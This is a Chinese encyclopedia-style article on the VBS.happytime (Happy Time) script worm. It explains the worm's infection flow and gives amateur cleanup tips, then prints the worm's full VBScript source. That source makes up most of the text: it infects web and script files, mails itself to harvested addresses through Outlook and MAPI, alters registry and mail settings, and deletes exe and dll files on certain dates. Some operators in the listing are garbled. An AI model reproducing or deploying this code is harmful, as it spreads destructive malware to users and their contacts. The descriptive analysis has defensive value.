VBS.happytime

VBS.happytime是一個感染 VBS、html 和腳本檔案的腳本類病毒。該病毒採用 VBScript 語言編寫,它既可在電子郵件的形式通過網際網路進行傳播,也可以在本地通過檔案進行感染。 當用瀏覽器打開一個被感染的 html 檔案時,病毒會設定網頁的時間中斷事件,每 10 秒運行執行 Help.vbs 一次,該檔案存放在 C:\ 盤下第一個子目錄下。如果通過 hta檔案激活病毒,病毒還會在 C:\ 盤下第一個子目錄下生成 Help.hta 檔案並執行。

基本介紹

  • 中文名:VBS.happytime
  • 詞性:名詞
  • 分類腳本檔案的腳本類病毒
  • 特點:危害程度很大
病毒特點,發病機制,源程式,

病毒特點

簡介
VBS.happytime病毒危害程度很大,可以破壞 html、htm、htt、vbs 和 asp 檔案的內容(被修改成病毒代碼);大量散發病毒郵件, 破壞 Windows 資源管理器中預設的 Web 視圖等。
高破壞性
這種病毒是用VBSCRIPT語言編寫的,其第一行寫著 I am sorry, happy time.(意為對不起您了,歡樂時光。真是氣死人不償命!惡作劇的混蛋口說"Sorry"祝人"歡樂"?!) 本人不懂VBSCRIPT語言,但曾學過ⅥSUAL BASIC,再翻了一些VBSCRIPT的資料,一番臨時抱佛腳後,開始解讀病毒源程式。由於缺乏相應資料加之本人水平有限,不能讀懂每一行代碼,只能看出個大概,但我越分析越心驚,這是個僅瀏覽網站頁面就會感染的高傳染性,高破壞性的病毒!

發病機制

先看一下此病毒的發病機制:
網頁染毒感染系統檔案
首次染毒時,會將WINDOWS \ WEB資料夾里的所有網頁檔案染上病毒,並找出這些檔案中的任何EMAIL地址向它們傳送病毒郵件,對方只要一打開即會染毒;以後每隔十秒鐘發作一次,但發作完後仍駐留在記憶體,十秒一次的發作,再大的記憶體也會給蠶食殆盡;每次發作時,在普通的日子裡,會找出一個後綴名為HTML、HTM、VBS、ASP的檔案傳染(別小看了每次一個檔案,它可是十秒一次的發作喲!),並查出此檔案中所有的EMAIL地址傳送病毒郵件,在月份加天數為13的"特殊"日子裡(1月12日、2月11日......12月1日),它每次發作會找出一個後綴名為EXE、DLL的檔案(通常為重要的系統檔案)來刪除,使你的電腦徹底癱瘓;
發作
該病毒在WINDOWS註冊表內保存已發作的次數,每次發作時它檢查已發作次數,如其是366的倍數,則向外亂髮病毒郵件:如系統時間的秒數是偶數,則傳送系統郵件,如是奇數,則到OUTLOOK的默任目錄里取得EMAIL地址傳送病毒郵件。
順便說一句,由於此病毒發作頻繁且亂髮EMAIL,到月底結帳時,你可能要多付一大筆冤枉錢。
架構
現在我們來看看這可惡的病毒的結構,看它是如何使得我們在瀏覽網頁時即染毒的。
前面提到過,該病毒是用VBSCRIPT語言寫成的,翻了一些資料,才知道VBSCRIPT是一種能增強網頁功能的腳本語言,它嵌入HTML檔案中,你瀏覽網頁時,它也與HTML檔案一起調入記憶體,由瀏覽器解釋並執行。所以在你看到網頁時,它其中所含的VBSCRIPT代碼(如果有的話)已被執行,這樣就很容易被心懷叵測者用來編制破壞程式。VBSCRIPT的設計者們也考慮到了這點,因此VBSCRIPT被設計成ⅥSUAL BASIC的簡化版,捨棄了一些"危險的"語句命令,所以VBSCRIPT是"安全的",可用於網頁的編制。確實光是VBSCRIPT的話確實無甚威脅,可是VBSCRIPT提供了創建並使用對象(OBJECT)功能,而WINDOWS提供大量對象給各種語言使用,利用這些對象你幾乎能幹任何事!比如說本病毒的許多破壞工作就是由創建並使用WSCRIPT(WINDOWS SCRIPT即WINDOWS腳本語言)對象來完成的,所以可以這樣說:VBSCRIPT是不安全的,是危險的!歡樂時光病毒就是個最有力的見證!
言歸正傳,我們還是來看看病毒的結構。
初始化部分
初始化(建立SCRIPTLET.TYPELIB對象等)
當前是HTML狀態?
是 ↙ ↘ 否
━━━━━━ ━━━━━━━
↓ ↓
在WINDOWS目錄下有HELP.VBS檔案嗎? 運行主發作程式
有 ↙ ↘ 無
━━━ ━━━━━━━
↓ ⑶ ↓ ⑴
設定為每10秒鐘調用一次 將本檔案中的病毒代碼以HTML格式存為
HELP.VBS WINDOWS目錄下的HELP.HTA檔案,並調用HELP.HTA。
結束 結束
主發作程式
建立含有HTML,VBS,HTM,ASP的 後綴名表
當前是HELP.VBS運行狀態?
⑷ 是 ↙ ↘ 否 ⑵
━━━━━━ ━━━━━━━
↓ ↓
如月+天為13則將後綴名表改為 用本病毒代碼在WINDOWS目錄下創
只包含EXE,DLL; 建HELP.VBS檔案,及UNTITLE.HTM
檔案;
將註冊表中的HKEY_CURRENT_USER
Software\Help\Count病毒發作計數加1; 修改HKEY_CURRENT_USER\Identities
\用戶標識號\Software\Microsoft
\look Express\5.0\Mail\下的鍵值:
Software\Help\File_Name待感染檔案名稱 Message Send HTML改為1
取出,並按後綴名表找出下一待感染檔案, Compose Use Stationery改為1
存於此處; Stationery Name改為指向 untitle.htm
查出其中的EMAIL地址傳送病毒郵件; 在WINDOWS\WEB目錄下查找HTML,VBS,
HTM,ASP,HTT檔案,在它們末尾如待
感染檔案名稱是EXE,DLL檔案則刪除!
末尾添加本病毒代碼,並查出其中的
EMAIL地址傳送病毒郵件
用本病毒代碼在WINDOWS目錄下創建一個HTM檔案並將其檔案名稱寫入HKEY_CURRENT_USER\Software\Help\Wallpaper及HKEY_CURRENT_USER\Control Panel\desktop\wallPaper
以上流程基本解釋了其發病機制,現在我對流程上()內的數字作一下說明:
一系列破壞任務
剛開始接觸本病毒時,我們一定是處於瀏覽含病毒的網頁狀態,也即是流程上的HTML狀態,且此時硬碟上尚未有HELP.VBS病毒檔案,所以病毒執行⑴分支,建立HELP.HTA病毒檔案,並調用它。然後在HELP.HTA病毒檔案運行時,此時它已不處於HTML狀態,所以運行主發作程式,在主發作程式中,由於此時不是HELP.VBS運行狀態所以運行⑵分支並建立HELP.VBS病毒檔案,以後再遇見本病毒時,由於已有了HELP.VBS病毒檔案,就執行⑶分支,設定為每10秒鐘執行一次HELP.VBS,而HELP.VBS會執行主發作程式的⑷分支,完成一系列破壞任務。
防禦此病毒
聽說現在已有了能殺此病毒的軟體,具體我也不清楚。如你像我一樣已不幸染毒,在得到防毒軟體前,首先應注意在"特殊"日子裡不要開機,以免愛機成為當機;另外從流程可看出,本病毒只感染後綴名為HTM,HTML,VBS,ASP(以及WINDOWS\WEB下的HTT檔案),所以你開機只至WINDOWS桌面出現都是安全的,把桌面的牆紙設為無,再次重新啟動,注意不要使用我的電腦或是WINDOWS資源管理器,因為它們每次運行都要裝入許多檔案,極有可能激活病毒,你要處理文檔最好進入DOS狀態,在DOS下操作;注意不要看任何幫助信息,因為很多幫助檔案都是HTML格式的。如你是編程好手,你可編個程式,檢查硬碟中所有受感染後綴名為HTM,HTML,VBS,ASP的檔案,並清除病毒,如你不會編程,又無防毒軟體,你只能用查找功能查出所有後綴名為HTM,HTML,VBS,ASP的檔案,然後一一手工操作:重命名為TXT檔案,打開檢查,如檔案尾有病毒則刪除,保存後再改回原來的檔案名稱,然後是下一個.......
安全第一
但我們還要上網,還要瀏覽,即使我們有了能殺歡樂時光病毒的軟體,誰能保證哪個傢伙不會再寫出諸如此類的病毒使我們受害?看來只有等微軟出個能禁止VBSCRIPT,JAVASCRIPT,ACTⅣE X........的瀏覽器來了。就我個人而言,情願不要任何特效,只要安全。

源程式

最後,奉上歡樂時光病毒的源程式,供有興趣者參考,如哪位高人能參透此程式,也請發表解析結果,讓我們對次類病毒有更深認識。
我對源程式作了必要的縮進處理,以方便閱讀。
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = ""
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath &; "\" &; "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks &; "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks &; "Help\Count", Cn + 1
f1 = Rg(Ks &; "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks &; "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks &; "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <>; LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks &; "Help\wallPaper") <>; wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs &; "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs &; "\" &; n2 &; ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" &; "HTML><" &; "body bgcolor=''#007f7f'' background=''" &; n1 &; "''><" &; "/Body><" &; "/HTML>" &; mt
pfc.Close
Rw Ks &; "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds &; "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs &; "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" &; oeid &; "\Software\Microsoft\Outlook Express\5.0\Mail"
MSH = oe &; "\Message Send HTML"
CUS = oe &; "\Compose Use Stationery"
SN = oe &; "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs &; "\WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <>; "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" &; "title>I am sorry!"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = ""
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m &; vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) >; 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <>; "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <>; 0 And m1 <; m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" &; "HTML" &; ">" &; vbCrLf &; _
"<" &; "Title>; Help <" &; "/HEAD>" &; vbCrLf &; _
"<" &; "Body>; " &; Lscript(Lvbs()) &; vbCrLf &; _
"<" &; "/Body>"
End Function
Function Lscript(S)
Lscript = "<" &; "script language=''VBScript''>" &; vbCrLf &; _
S &; "<" &; "/script" &; ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i >; 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 &; "mailto" &; ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds &; m &; vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder⑽.Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " &; Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf &; "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf &; "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function

相關詞條

熱門詞條

聯絡我們